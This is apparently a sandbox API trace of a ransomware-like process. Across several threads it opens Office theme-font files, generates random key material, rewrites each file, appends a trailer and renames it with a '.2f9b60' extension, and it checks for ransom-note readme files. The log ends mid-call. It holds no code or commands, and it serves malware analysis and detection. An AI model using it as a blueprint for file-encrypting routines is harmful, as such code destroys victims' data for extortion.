[0124.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97a30 [0124.589] sprintf (in: _Dest=0x1cd97a30, _Format="%c%c" | out: _Dest="aa") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a32, _Format="%c%c" | out: _Dest="20") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a34, _Format="%c%c" | out: _Dest="f8") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a36, _Format="%c%c" | out: _Dest="18") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a38, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a3a, _Format="%c%c" | out: _Dest="6f") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a3c, _Format="%c%c" | out: _Dest="9a") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a3e, _Format="%c%c" | out: _Dest="ea") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a40, _Format="%c%c" | out: _Dest="80") returned 2 [0124.589] sprintf (in: _Dest=0x1cd97a42, _Format="%c%c" | out: _Dest="77") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a44, _Format="%c%c" | out: _Dest="73") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a46, _Format="%c%c" | out: _Dest="a7") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a48, _Format="%c%c" | out: _Dest="46") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a4a, _Format="%c%c" | out: _Dest="b2") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a4c, _Format="%c%c" | out: _Dest="eb") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a4e, _Format="%c%c" | out: _Dest="73") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a50, _Format="%c%c" | out: _Dest="59") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a52, _Format="%c%c" | out: _Dest="5f") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a54, _Format="%c%c" | out: _Dest="84") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a56, _Format="%c%c" | out: _Dest="a2") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a58, _Format="%c%c" | out: _Dest="07") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a5a, _Format="%c%c" | out: _Dest="65") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a5c, _Format="%c%c" | out: _Dest="02") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a5e, _Format="%c%c" | out: _Dest="8a") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a60, _Format="%c%c" | out: _Dest="56") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a62, _Format="%c%c" | out: _Dest="50") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a64, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.590] sprintf (in: _Dest=0x1cd97a66, _Format="%c%c" | out: _Dest="a2") returned 2 [0124.590] RtlInitAnsiString (in: DestinationString=0x403ef988, SourceString="aa20f8182a6f9aea807773a746b2eb73595f84a20765028a5650f2a2" | out: DestinationString="aa20f8182a6f9aea807773a746b2eb73595f84a20765028a5650f2a2") [0124.590] RtlAnsiStringToUnicodeString (in: DestinationString=0x403ef958, SourceString="aa20f8182a6f9aea807773a746b2eb73595f84a20765028a5650f2a2", AllocateDestinationString=1 | out: DestinationString="aa20f8182a6f9aea807773a746b2eb73595f84a20765028a5650f2a2") returned 0x0 [0124.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20504310 [0124.590] wcscat (in: _Dest=0x107300, _Source="aa20f8182a6f9a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a" [0124.590] wcscat (in: _Dest=0x107300, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a.2f9b60" [0124.590] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a.2f9b60", NtPathName=0x403ef930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\aa20f8182a6f9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776690 [0124.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0124.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0124.761] NtQueryInformationFile (in: FileHandle=0x10a0, IoStatusBlock=0x403ef998, FileInformation=0x403ef9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x403ef998, FileInformation=0x403ef9a8) returned 0x0 [0124.761] NtSetInformationFile (FileHandle=0x10a0, IoStatusBlock=0x403ef998, FileInformation=0x403ef9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0124.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0124.763] FlushFileBuffers (hFile=0x10a0) returned 1 [0124.767] CloseHandle (hObject=0x10a0) returned 1 [0124.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad080 [0124.768] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.768] wcscat (in: _Dest=0x202ad080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0124.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 Thread: id = 1440 os_tid = 0x18d4 [0119.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml")) returned 0x20 [0120.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml", dwFileAttributes=0x20) returned 1 [0120.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10a8 [0120.971] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x3ff1fde0 | out: lpFileSize=0x3ff1fde0*=3817) returned 1 [0120.971] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0xee5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.971] ReadFile (in: hFile=0x10a8, lpBuffer=0x3ff1fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ff1fda8, lpOverlapped=0x0 | out: lpBuffer=0x3ff1fd60*, lpNumberOfBytesRead=0x3ff1fda8*=0x4, lpOverlapped=0x0) returned 1 [0121.289] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c30 [0121.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ed0 [0121.312] NtQuerySystemTime (in: CurrentTime=0x3ff1fca0 | out: CurrentTime=0x3ff1fca0*=132462177267106000) returned 0x0 [0121.312] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x1554a06c [0121.312] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x3e651355 [0121.312] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x6601c88 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x787ab942 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x15c04b07 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x668a31df [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x4cec929b [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x319b6d0b [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x14fa0150 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x3bf8594 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x387c745f [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x79ff66f4 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x66be821 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x50e6ad3f [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x2379da3f [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x727399e0 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x77ec7c2d [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x2c38f07c [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x692ba965 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x6f507c4b [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x3a63cc3d [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x3d9e3bb5 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x22410fc0 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x673e5200 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x35197b23 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x4b5a8262 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x4ee74292 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x5a156212 [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x3d13658e [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0xda27aa [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x6fa6ed6e [0121.313] RtlRandomEx (in: Seed=0x3ff1fc90 | out: Seed=0x3ff1fc90) returned 0x64fba371 [0124.450] ReadFile (in: hFile=0x10a8, lpBuffer=0x41c79560, nNumberOfBytesToRead=0xee9, lpNumberOfBytesRead=0x3ff1fc90, lpOverlapped=0x0 | out: lpBuffer=0x41c79560*, lpNumberOfBytesRead=0x3ff1fc90*=0xee9, lpOverlapped=0x0) returned 1 [0124.450] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.450] WriteFile (in: hFile=0x10a8, lpBuffer=0x41c5b4e0*, nNumberOfBytesToWrite=0xee9, lpNumberOfBytesWritten=0x3ff1fc94, lpOverlapped=0x0 | out: lpBuffer=0x41c5b4e0*, lpNumberOfBytesWritten=0x3ff1fc94*=0xee9, lpOverlapped=0x0) returned 1 [0166.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2570 [0166.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a25a0 [0166.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a25a0) returned 1 [0166.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c5b4e0) returned 1 [0166.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c79560) returned 1 [0166.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504590) returned 1 [0166.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97940) returned 1 [0166.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a25a0 [0166.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97940 [0166.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504590 [0166.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2600 [0166.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2600) returned 1 [0166.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2600 [0166.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a25d0 [0166.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e20 [0166.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e20) returned 1 [0166.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504590) returned 1 [0166.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97940) returned 1 [0166.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce128f0 [0166.128] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.128] WriteFile (in: hFile=0x10a8, lpBuffer=0x1ce128f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ff1fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1ce128f0*, lpNumberOfBytesWritten=0x3ff1fdb0*=0x10a, lpOverlapped=0x0) returned 1 [0200.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0200.075] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b880) returned 1 [0200.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0200.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0200.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7c0) returned 1 [0200.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f5b0 [0200.077] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="78") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="3b") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="84") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="26") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="58") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.077] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="72") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="61") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="18") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="67") returned 2 [0200.078] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.078] RtlInitAnsiString (in: DestinationString=0x3ff1fe28, SourceString="783bf0d7aadd5d84cf26585cec8ab2bfed727a4c6118675d" | out: DestinationString="783bf0d7aadd5d84cf26585cec8ab2bfed727a4c6118675d") [0200.078] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ff1fdf8, SourceString="783bf0d7aadd5d84cf26585cec8ab2bfed727a4c6118675d", AllocateDestinationString=1 | out: DestinationString="783bf0d7aadd5d84cf26585cec8ab2bfed727a4c6118675d") returned 0x0 [0200.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309ffa0 [0200.079] wcscat (in: _Dest=0x431ecea0, _Source="783bf0d7aadd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd" [0200.079] wcscat (in: _Dest=0x431ecea0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd.2f9b60" [0200.079] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd.2f9b60", NtPathName=0x3ff1fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\783bf0d7aadd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4205f9e0 [0226.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f9e0) returned 1 [0226.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f6fe0) returned 1 [0226.377] NtQueryInformationFile (in: FileHandle=0x10a8, IoStatusBlock=0x3ff1fe38, FileInformation=0x3ff1fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ff1fe38, FileInformation=0x3ff1fe48) returned 0x0 [0226.377] NtSetInformationFile (FileHandle=0x10a8, IoStatusBlock=0x3ff1fe38, FileInformation=0x3ff1fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecea0) returned 1 [0227.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309ffa0) returned 1 [0227.294] FlushFileBuffers (hFile=0x10a8) returned 1 [0228.127] CloseHandle (hObject=0x10a8) returned 1 [0233.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f5590 [0233.170] wcscpy (in: _Dest=0x431f5590, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0233.170] wcscat (in: _Dest=0x431f5590, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0233.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0233.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f5590) returned 1 [0233.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad1e0) returned 1 Thread: id = 1441 os_tid = 0x18d8 [0119.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml")) returned 0x20 [0120.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml", dwFileAttributes=0x20) returned 1 [0120.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1098 [0120.977] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x405ffac0 | out: lpFileSize=0x405ffac0*=3603) returned 1 [0120.977] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0xe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.977] ReadFile (in: hFile=0x1098, lpBuffer=0x405ffa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x405ffa88, lpOverlapped=0x0 | out: lpBuffer=0x405ffa40*, lpNumberOfBytesRead=0x405ffa88*=0x4, lpOverlapped=0x0) returned 1 [0121.393] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0121.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0121.394] NtQuerySystemTime (in: CurrentTime=0x405ff980 | out: CurrentTime=0x405ff980*=132462177267886000) returned 0x0 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x1dbc71a [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x44b3721d [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x2ab00bc8 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x300c8c5d [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x6645c403 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x1a9a68a9 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x80ce9b [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x1a7021bf [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x3ff8d810 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x2e5e2e74 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x2ab00bc8 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x626c4e64 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x1961bc4d [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x2628db06 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x5734c33 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x72694a38 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0xde6b8cf [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x248472ce [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x14627cae [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x500bc683 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x7f9f2bad [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x51c78234 [0121.394] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x73a985e [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x5fe77b68 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x694fa0e7 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x20140e00 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x52579a87 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x5003edf2 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x7f9f2bad [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x1fb255b0 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x40347d39 [0121.395] RtlRandomEx (in: Seed=0x405ff970 | out: Seed=0x405ff970) returned 0x697b9254 [0124.459] ReadFile (in: hFile=0x1098, 